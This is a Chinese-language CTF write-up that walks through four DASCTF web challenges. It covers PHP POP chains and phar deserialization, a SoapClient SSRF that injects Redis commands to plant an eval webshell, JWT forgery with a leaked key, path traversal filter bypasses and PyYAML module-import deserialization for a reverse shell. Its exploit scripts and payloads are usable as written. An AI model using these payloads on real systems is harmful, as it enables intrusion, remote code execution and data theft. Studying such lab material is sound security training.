前言 感觉还是学了挺多东西的,DASCTF的题都让我眼前一亮,学的很有劲,也认识到了自己的菜鸡呜呜呜
参考 EasyPOP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 <?php highlight_file (__FILE__ );error_reporting (0 );class fine { private $cmd ; private $content ; public function __construct ($cmd , $content ) { $this ->cmd = $cmd ; $this ->content = $content ; } public function __invoke ( ) { call_user_func ($this ->cmd, $this ->content); } public function __wakeup ( ) { $this ->cmd = "" ; die ("Go listen to Jay Chou's secret-code! Really nice" ); } } class show { public $ctf ; public $time = "Two and a half years" ; public function __construct ($ctf ) { $this ->ctf = $ctf ; } public function __toString ( ) { return $this ->ctf->show (); } public function show ( ): string { return $this ->ctf . ": Duration of practice: " . $this ->time; } } class sorry { private $name ; private $password ; public $hint = "hint is depend on you" ; public $key ; public function __construct ($name , $password ) { $this ->name = $name ; $this ->password = $password ; } public function __sleep ( ) { $this ->hint = new secret_code (); } public function __get ($name ) { $name = $this ->key; $name (); } public function __destruct ( ) { if ($this ->password == $this ->name) { echo $this ->hint; } else if ($this ->name = "jay" ) { secret_code::secret (); } else { echo "This is our code" ; } } public function getPassword ( ) { return $this ->password; } public function setPassword ($password ): void { $this ->password = $password ; } } class secret_code { protected $code ; public static function secret ( ) { include_once "hint.php" ; hint (); } public function __call ($name , $arguments ) { $num = $name ; $this ->$num (); } private function show ( ) { return $this ->code->secret; } } if (isset ($_GET ['pop' ])) { $a = unserialize ($_GET ['pop' ]); $a ->setPassword (md5 (mt_rand ())); } else { $a = new show ("Ctfer" ); echo $a ->show (); } Ctfer: Duration of practice: Two and a half years
说是说简单的PHP,当时写的时候绕死我了草! pop:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 <?php class fine { public $cmd ='system' ; public $content ='cat /flag' ; public function __invoke ( ) { call_user_func ($this ->cmd, $this ->content); } } class show { public $ctf ; public function __construct ($file ,$value ) { $this ->ctf = new secret_code ($file ,$value ); } public function __toString ( ) { return $this ->ctf->show (); } } class sorry { public $name =0 ; public $password ; public $hint ; public $key ; public function __construct ($file ,$value ) { $this ->hint=$file ; $this ->key=$value ; } public function __get ($name ) { $name = $this ->key; $name (); } public function __destruct ( ) { echo $this ->hint; } } class secret_code { public $code ; public function __construct ($file ,$value ) { $this ->code=new sorry ($file ,$value ); } public function __call ($name , $arguments ) { $num = $name ; $this ->$num (); } private function show ( ) { return $this ->code->secret; } } $b =new fine ();$a =new show ('a' ,$b );$c =new sorry ($a ,$b );echo serialize ($c )?>
pop触发链为sorry::__destruct=>show::__toString=>secret_code::show()=>sorry::__get=>fine::__invoke()
简单易懂,一点不含糊
hade_waibo DASCTF的题真能让我感到澎湃啊 我感觉最接近答案的一次 考点:利用指针绕过__wakeup,Phar反序列化,通配符,任意文件下载 开始审题: 进入之后输入用户名,然后有三个功能: 第一个对应文件上传: 上传成功后返回路径: 第二个对应删除上传的文件: 第三个就是重点了,他是一个查找图片的功能,这边就得联想到我们的任意文件下载了: 假如我们输入:file.php
源码中的img的数据就会改变(base64),这边直接解码得到file.php的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 <!DOCTYPE html> <html lang="en" class ="no -js "> <head > <meta charset ="UTF -8" /> <meta http -equiv ="X -UA -Compatible " content ="IE =edge "> <meta name ="viewport " content ="width =device -width , initial -scale =1"> <title >login </title > <link rel ="stylesheet " type ="text /css " href ="css /button .css " /> <link rel ="stylesheet " type ="text /css " href ="css /button .min .css " /> <link rel ="stylesheet " type ="text /css " href ="css /input .css " /> <style > .show { text-align:center; margin-left:auto; margin-right:auto; margin-top:240 px; } .run{ text-align:right; margin-left:auto; margin-right:auto; } </style> </head> <body> <div class ="run "> <div class ="ui animated button " tabindex ="0" onclick ="window .location .href ='file .php ?m =logout '"> <div class ="hidden content "> <font style ="vertical -align : inherit ;"> <font style ="vertical -align : inherit ;">润!</font > </font > </div > <div class ="visible content "> <font style ="vertical -align : inherit ;"> <font style ="vertical -align : inherit ;">🏃</font > </font > </div > </div > </div > <div class ="show "> <?php error_reporting (0);session_start ();include 'class .php ';if ($_SESSION ['isLogin '] !== true ) { die ("<script>alert('号登一下谢谢。');location.href='index.php'</script>" ); } $form = ' <form action="file.php?m=upload" method="post" enctype="multipart/form-data" > <input type="file" name="file"> <button class="mini ui button" ><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 提交 </font></font></button> </form>' ;$file = new file ();switch ($_GET ['m' ]) { case 'upload' : if (empty ($_FILES )){die ($form );} $type = end (explode ("." , $_FILES ['file' ]['name' ])); if ($file ->check ($type )) { die ($file ->upload ($type )); }else { die ('你食不食油饼🤬' ); } break ; case 'show' : die ($file ->show ($_GET ['filename' ])); break ; case 'rm' : $file ->rmfile (); die ("全删干净了捏😋" ); break ; case 'logout' : session_destroy (); die ("<script>alert('已退出登录');location.href='index.php'</script>" ); break ; default : echo '<h2>Halo! ' .$_SESSION ['username' ].'</h2>' ; break ; } ?> <div class ="ui animated button " tabindex ="0" onclick ="window .location .href ='file .php ?m =upload '"> <div class ="visible content "> <font style ="vertical -align : inherit ;"> <font style ="vertical -align : inherit ;">来点😍图</font > </font > </div > <div class ="hidden content "> <font style ="vertical -align : inherit ;">🥵</font > </font > </div > </div > <div class ="ui vertical animated button " tabindex ="0" onclick ="window .location .href ='file .php ?m =rm '"> <div class ="hidden content "> <font style ="vertical -align : inherit ;"> <font style ="vertical -align : inherit ;">销毁证据</font > </font > </div > <div class ="visible content "> <font style ="vertical -align : inherit ;"> <font style ="vertical -align : inherit ;">🧹</font > </font > </div > </div > <div class ="ui animated fade button " tabindex ="0" onclick ="window .location .href ='file .php ?m =show '"> <div class ="visible content "> <font style ="vertical -align : inherit ;"> <font style ="vertical -align : inherit ;">cancan need </font > </font > </div > <div class ="hidden content "> <font style ="vertical -align : inherit ;"> <font style ="vertical -align : inherit ;">👀</font > </font > </div > </div > <script src ="js /package .js "></script > </div > </body > </html >
从这里还可以发现有一个class.php,读取:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <?php class User { public $username ; public function __construct ($username ) { $this ->username = $username ; $_SESSION ['isLogin' ] = True; $_SESSION ['username' ] = $username ; } public function __wakeup ( ) { $cklen = strlen ($_SESSION ["username" ]); if ($cklen != 0 and $cklen <= 6 ) { $this ->username = $_SESSION ["username" ]; } } public function __destruct ( ) { if ($this ->username == '' ) { session_destroy (); } } } class File { public $white = array ("jpg" ,"png" ); public function show ($filename ) { echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>' ; if (empty ($filename )){die ();} return '<img src="data:image/png;base64,' .base64_encode (file_get_contents ($filename )).'" />' ; } public function upload ($type ) { $filename = "dasctf" .md5 (time ().$_FILES ["file" ]["name" ]).".$type " ; move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" . $filename ); return "Upload success! Path: upload/" . $filename ; } public function rmfile ( ) { system ('rm -rf /var/www/html/upload/*' ); } public function check ($type ) { if (!in_array ($type ,$this ->white)){ return false ; } return true ; } } class Test { public $value ; public function __destruct ( ) { chdir ('./upload' ); $this ->backdoor (); } public function __wakeup ( ) { $this ->value = "Don't make dream.Wake up plz!" ; } public function __toString ( ) { $file = substr ($_GET ['file' ],0 ,3 ); file_put_contents ($file , "Hack by $file !" ); return 'Unreachable! :)' ; } public function backdoor ( ) { if (preg_match ('/[A-Za-z0-9?$@]+/' , $this ->value)){ $this ->value = 'nono~' ; } system ($this ->value); } }
大致重要的就这两个类了,我第一眼看到了Wakeup以为是可以绕过的,结果不行,原因是什么呢,我们看一下PHP的版本 wow,令人尊贵的7.45版本,看来是有意安排这样,**__wakeup的常规绕过在7.03下才有用!**简单的分析了一下,假如这样不行那怎么样才可以去调用backdoor函数呢,先分析一下backdoor函数:
1 2 3 4 5 6 public function backdoor ( ) { if (preg_match ('/[A-Za-z0-9?$@]+/' , $this ->value)){ $this ->value = 'nono~' ; } system ($this ->value); }
首先是无数字字母,但肯定不能用eval的无字母数字rce,因为system是不会识别的(测试),自然想到通配符.?*
,?被ban了所以只可以考虑.*
记得命令执行里有个tips是文件上传poc吗,那里面的payload是???/?????
这种类型的,我们是不是也可以呢? 注意backdoor里的chdir('./upload');
析构函数执行后回切换到upload目录下 再补充一个air的小tips,不管你的后缀名是什么,看如下例子
成功的执行了命令,到这里思路就有一半了,那肯定是利用. ./*
: 在本地可以复现成功,但有一个前提,就是1.png文件必须在第一个否则通配符是无法识别的 问题又来了
1 2 3 public function __wakeup ( ) { $this ->value = "Don't make dream.Wake up plz!" ; }
这个__wakeup
我们究竟如何绕过,我们不要忽略了user类:
1 2 3 4 5 6 public function __wakeup ( ) { $cklen = strlen ($_SESSION ["username" ]); if ($cklen != 0 and $cklen <= 6 ) { $this ->username = $_SESSION ["username" ]; } }
我们让username的值为. ./*
然后让backdoor中的value
指针指向User中的username
,是否就可以绕过了呢?为了验证一下我在本地进行了如下复现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class foo { public $name ="boogipop" ; } class smart { public $shell ="ls" ; public function __wakeup ( ) { $shell ='' ; } } $a =new smart ();$b =new foo ();$a ->shell=&$b ->name;$str =serialize ($a );var_dump (unserialize ($str ));?>
结果不是空,说明可以绕过,那OK,思路已经被证明了,剩下的就是去解题了,还有个小问题就是如何取触发反序列化呢,我们从任意文件下载多少可以猜出来,读取的语句是file_get_contents()
,那也就是说我们只需要进行一个phar反序列化即可,Lets make POP
非预期解 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class User { public $username ; } class Test { public $value ; } $b =new User ();$a =new Test ();$b ->aaa=$a ;$a ->value=&$b ->username;echo serialize ($b );$phar = new Phar ("abcd.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($b );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
upload/dasctf840b364c5ed3ba9e9f5062fa07aa9216.jpg
这里的:
是为了让value成功指向username 这是正常的序列化后的User类 假如不加那一句话就变成了: 可以看到类型变成了N,没有指向成功 先上传我们的shell.jpg文件,然后再上传phar文件,最后phar文件包含: 再利用任意文件下载得到即可得到flag
预期解 同样的,预期解是利用* /*
去读取文件,上传一个名为cat的文件,然后读出flag 这里就放一下@succ3师傅的题解了,因为大部分一样 第一条pop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class User {public $username ;} class Test {public $value ;} $User = new User ();$Test = new Test ();$User ->username = $Test ;echo serialize ($User );$phar = new Phar ("ddd.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($User ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering (); ?>
此时就写入了cat: 第二步就和非预期一模一样了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class User {public $username ;} class Test {public $value ;} $User = new User ();$Test = new Test ();$User ->a = $Test ;$Test ->value = &$User ->username;echo serialize ($User );$phar = new Phar ("ddd.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($User ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();?>
然后同样的phar文件包含即可了
分析一个小坑 经过一系列测试,发现非预期解解法中有2个疑点,第一点就是
反序列化中这两句意在何为,另一个就是之后phar反序列化为什么最后只可以是jpg格式,png格式就无法复现 第一个坑点在上面已经分析过了,为了让value成功的指向username 第二个需要在本地进行测试,我准备了以下测试页面:
1 2 3 4 5 6 7 8 9 10 11 <?php class Foo { public $value ="empty" ; public function __destruct ( ) { if ($this ->value=='key' ){ phpinfo (); } } } echo file_get_contents ($_GET ['a' ]);?>
我们也生成一个phar,把后缀名改为png,发现也可以成功触发啊: 那为什么题目中改为png就无法触发呢?猜测只可能是一种原因了,那就是假如改为png,我们上传的shell图片就不是排在第一位,也就是无法执行命令,只有这一种可能了
EasyLove 考点:原生类SSRF打有密码的REDIS redis数据库还没学呜呜呜呜,一定学完
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php highlight_file (__FILE__ );error_reporting (0 );class swpu { public $wllm ; public $arsenetang ; public $l61q4cheng ; public $love ; public function __construct ($wllm ,$arsenetang ,$l61q4cheng ,$love ) { $this ->wllm = $wllm ; $this ->arsenetang = $arsenetang ; $this ->l61q4cheng = $l61q4cheng ; $this ->love = $love ; } public function newnewnew ( ) { $this ->love = new $this ->wllm ($this ->arsenetang,$this ->l61q4cheng); } public function flag ( ) { $this ->love->getflag (); } public function __destruct ( ) { $this ->newnewnew (); $this ->flag (); } } class hint { public $hint ; public function __destruct ( ) { echo file_get_contents ($this -> hint.'hint.php' ); } } $hello = $_GET ['hello' ];$world = unserialize ($hello );
也是个反序列化,我们来先得到hint,编写POP:?hello=O:4:"hint":1:{s:4:"hint";s:14:"/var/www/html/";}
小tips(file_get_contents要用绝对路径) 得到了一句话猜测为redis数据库的密码 然后就是直接打了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php $target = "http://127.0.0.1:6379" ;$option = array ("location" =>$target ,"uri" =>"hello\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x '<?@eval(\$_POST[1]);?>'\r\nCONFIG SET dbfilename boogipop.php\r\nSAVE\r\nhello" );class swpu { public $wllm ; public $arsenetang ; public $l61q4cheng ; public $love ; public function __construct ( ) { $this ->wllm = "SoapClient" ; $this ->arsenetang = Null; } } $aa = new swpu ();$aa ->l61q4cheng = $option ;echo urlencode (serialize ($aa ));?>
这里执行之后蚁剑上号,发现flag文件没权限读取,肯定需要提权,在bin目录下找了一下有s权限的命令: 发现有个date
那就用date提权去读取flag了:
BlogSystem https://pysnow.cn/category/code/ 考点:yaml反序列化,JWT伪造,任意文件下载 出题人:Pysnow 看到这个出题人还是挺震惊的,因为前阵子就和他交流过,原来是大佬吗!snow师傅tql!
一个登录界面,会发现admin无法注册,那也就是要我们得到admin账户,我们注册普通账户后会返回一个sessionid: 看一眼就知道是JWT,那我们现在要知道的就是key了,在博客发现了pysnow师傅一共发了三篇文章: 在flask基础总结发现了可疑的key: 猜测这个就是key7his_1s_my_fav0rite_ke7
,之后用flask-session-manager去伪造: 然后就可以获得admin权限,之后会发现多了一个download功能: 进去看看: 可爱的勾勾,看到有个path,猜测为文件读取,这边尝试目录穿越: 返回了个这个,可是我们明明请求了../
,也就是说有过滤,我们的..
被替换为了空,再次尝试: 发现//
也会被替换为空,到这里思路清晰就利用.//./
实现绕过,去目录穿越,可以读到app.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from flask import *import configapp = Flask(__name__) app.config.from_object(config) app.secret_key = '7his_1s_my_fav0rite_ke7' from model import *from view import *app.register_blueprint(index, name='index' ) app.register_blueprint(blog, name='blog' ) @app.context_processor def login_statue (): username = session.get('username' ) if username: try : user = User.query.filter (User.username == username).first() if user: return {"username" : username, 'name' : user.name, 'password' : user.password} except Exception as e: return e return {} @app.errorhandler(404 ) def page_not_found (e ): return render_template('404.html' ), 404 @app.errorhandler(500 ) def internal_server_error (e ): return render_template('500.html' ), 500 if __name__ == '__main__' : app.run('0.0.0.0' , 80 )
然后可以根据flask的目录结构,去读取view目录下的一些文件,读取__init__.py: 发现了2个可疑的导入点,读取blog.py和index.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 from flask import Blueprint, session, render_template, request, flash, redirect, url_for, Response, send_filefrom werkzeug.security import check_password_hashfrom decorators import login_limit, admin_limitfrom model import *import osindex = Blueprint("index" , __name__) @index.route('/' ) def hello (): return render_template('index.html' ) @index.route('/register' , methods=['POST' , 'GET' ] ) def register (): if request.method == 'GET' : return render_template('register.html' ) if request.method == 'POST' : name = request.form.get('name' ) username = request.form.get('username' ) password = request.form.get('password' ) user = User.query.filter (User.username == username).first() if user is not None : flash("该用户名已存在" ) return render_template('register.html' ) else : user = User(username=username, name=name) user.password_hash(password) db.session.add(user) db.session.commit() flash("注册成功!" ) return render_template('register.html' ) @index.route('/login' , methods=['POST' , 'GET' ] ) def login (): if request.method == 'GET' : return render_template('login.html' ) if request.method == 'POST' : username = request.form.get('username' ) password = request.form.get('password' ) user = User.query.filter (User.username == username).first() if (user is not None ) and (check_password_hash(user.password, password)): session['username' ] = user.username session.permanent = True return redirect(url_for('index.hello' )) else : flash("账号或密码错误" ) return render_template('login.html' ) @index.route("/updatePwd" , methods=['POST' , 'GET' ] ) @login_limit def update (): if request.method == "GET" : return render_template("updatePwd.html" ) if request.method == 'POST' : lodPwd = request.form.get("lodPwd" ) newPwd1 = request.form.get("newPwd1" ) newPwd2 = request.form.get("newPwd2" ) username = session.get("username" ) user = User.query.filter (User.username == username).first() if check_password_hash(user.password, lodPwd): if newPwd1 != newPwd2: flash("两次新密码不一致!" ) return render_template("updatePwd.html" ) else : user.password_hash(newPwd2) db.session.commit() flash("修改成功!" ) return render_template("updatePwd.html" ) else : flash("原密码错误!" ) return render_template("updatePwd.html" ) @index.route('/download' , methods=['GET' ] ) @admin_limit def download (): if request.args.get('path' ): path = request.args.get('path' ).replace('..' , '' ).replace('//' , '' ) path = os.path.join('static/upload/' , path) if os.path.exists(path): return send_file(path) else : return render_template('404.html' , file=path) return render_template('sayings.html' , yaml='所谓『恶』,是那些只为了自己,利用和践踏弱者的家伙!但是,我虽然是这样,也知道什么是令人作呕的『恶』,所以,由我来制裁!' ) @index.route('/logout' ) def logout (): session.clear() return redirect(url_for('index.hello' ))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 import osimport randomimport reimport timeimport yamlfrom flask import Blueprint, render_template, request, sessionfrom yaml import Loaderfrom decorators import login_limit, admin_limitfrom model import *blog = Blueprint("blog" , __name__, url_prefix="/blog" ) def waf (data ): if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)' , str (data), re.M | re.I): return False else : return True @blog.route('/writeBlog' , methods=['POST' , 'GET' ] ) @login_limit def writeblog (): if request.method == 'GET' : return render_template('writeBlog.html' ) if request.method == 'POST' : title = request.form.get("title" ) text = request.form.get("text" ) username = session.get('username' ) create_time = time.strftime("%Y-%m-%d %H:%M:%S" ) user = User.query.filter (User.username == username).first() blog = Blog(title=title, text=text, create_time=create_time, user_id=user.id ) db.session.add(blog) db.session.commit() blog = Blog.query.filter (Blog.create_time == create_time).first() return render_template('blogSuccess.html' , title=title, id =blog.id ) @blog.route('/imgUpload' , methods=['POST' ] ) @login_limit def imgUpload (): try : file = request.files.get('editormd-image-file' ) fileName = file.filename.replace('..' ,'' ) filePath = os.path.join("static/upload/" , fileName) file.save(filePath) return { 'success' : 1 , 'message' : '上传成功!' , 'url' : "/" + filePath } except Exception as e: return { 'success' : 0 , 'message' : '上传失败' } @blog.route('/showBlog/<id>' ) def showBlog (id ): blog = Blog.query.filter (Blog.id == id ).first() comment = Comment.query.filter (Comment.blog_id == blog.id ) return render_template("showBlog.html" , blog=blog, comment=comment) @blog.route("/blogAll" ) def blogAll (): blogList = Blog.query.order_by(Blog.create_time.desc()).all () return render_template('blogAll.html' , blogList=blogList) @blog.route("/update/<id>" , methods=['POST' , 'GET' ] ) @login_limit def update (id ): if request.method == 'GET' : blog = Blog.query.filter (Blog.id == id ).first() return render_template('updateBlog.html' , blog=blog) if request.method == 'POST' : id = request.form.get("id" ) title = request.form.get("title" ) text = request.form.get("text" ) blog = Blog.query.filter (Blog.id == id ).first() blog.title = title blog.text = text db.session.commit() return render_template('blogSuccess.html' , title=title, id =id ) @blog.route("/delete/<id>" ) @login_limit def delete (id ): blog = Blog.query.filter (Blog.id == id ).first() db.session.delete(blog) db.session.commit() return { 'state' : True , 'msg' : "删除成功!" } @blog.route("/myBlog" ) @login_limit def myBlog (): username = session.get('username' ) user = User.query.filter (User.username == username).first() blogList = Blog.query.filter (Blog.user_id == user.id ).order_by(Blog.create_time.desc()).all () return render_template("myBlog.html" , blogList=blogList) @blog.route("/comment" , methods=['POST' ] ) @login_limit def comment (): text = request.values.get('text' ) blogId = request.values.get('blogId' ) username = session.get('username' ) create_time = time.strftime("%Y-%m-%d %H:%M:%S" ) user = User.query.filter (User.username == username).first() comment = Comment(text=text, create_time=create_time, blog_id=blogId, user_id=user.id ) db.session.add(comment) db.session.commit() return { 'success' : True , 'message' : '评论成功!' , } @blog.route('/myComment' ) @login_limit def myComment (): username = session.get('username' ) user = User.query.filter (User.username == username).first() commentList = Comment.query.filter (Comment.user_id == user.id ).order_by(Comment.create_time.desc()).all () return render_template("myComment.html" , commentList=commentList) @blog.route('/deleteCom/<id>' ) def deleteCom (id ): com = Comment.query.filter (Comment.id == id ).first() db.session.delete(com) db.session.commit() return { 'state' : True , 'msg' : "删除成功!" } @blog.route('/saying' , methods=['GET' ] ) @admin_limit def Saying (): if request.args.get('path' ): file = request.args.get('path' ).replace('../' , 'hack' ).replace('..\\' , 'hack' ) try : with open (file, 'rb' ) as f: f = f.read() if waf(f): print (yaml.load(f, Loader=Loader)) return render_template('sayings.html' , yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧' ) else : return render_template('sayings.html' , yaml='鲁迅说:你说得不对' ) except Exception as e: return render_template('sayings.html' , yaml='鲁迅说:' +str (e)) else : with open ('view/jojo.yaml' , 'r' , encoding='utf-8' ) as f: sayings = yaml.load(f, Loader=Loader) saying = random.choice(sayings) return render_template('sayings.html' , yaml=saying)
不难发现blog.py中存在一个pyyaml反序列化的利用,有关文章可以参考:
但是审计一下也可以发现有waf进行过滤
1 2 3 4 5 6 7 def waf (data ): if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)' , str (data), re.M | re.I): return False else : return True
常用的几个标签被ban了,只剩下了module
标签,python/module
标签对应的方法是construct_python_module
里面调用了find_python_module
等价于import
,也就是导包,利用的方式也很简单: 重点是如果uploads目录下有__init__.py ,那么payload直接就是!!Python/module:uploads
即可触发 目前我们网页所在的地址是/app
文件夹下,我们可以控制的文件夹是/app/static/upload
,我们可以上传文件 思路就更加清晰了,上传__init__.py,里面构造一个反弹shell 再上传一个poc.txt
里面就写!python/module:static.upload
即可 在写一个__init__.py: 再去blog/saying路由去传递path参数static/upload/poc.txt
,在本地监听一下7777端口: 成功反弹!根目录下直接得到flag咯: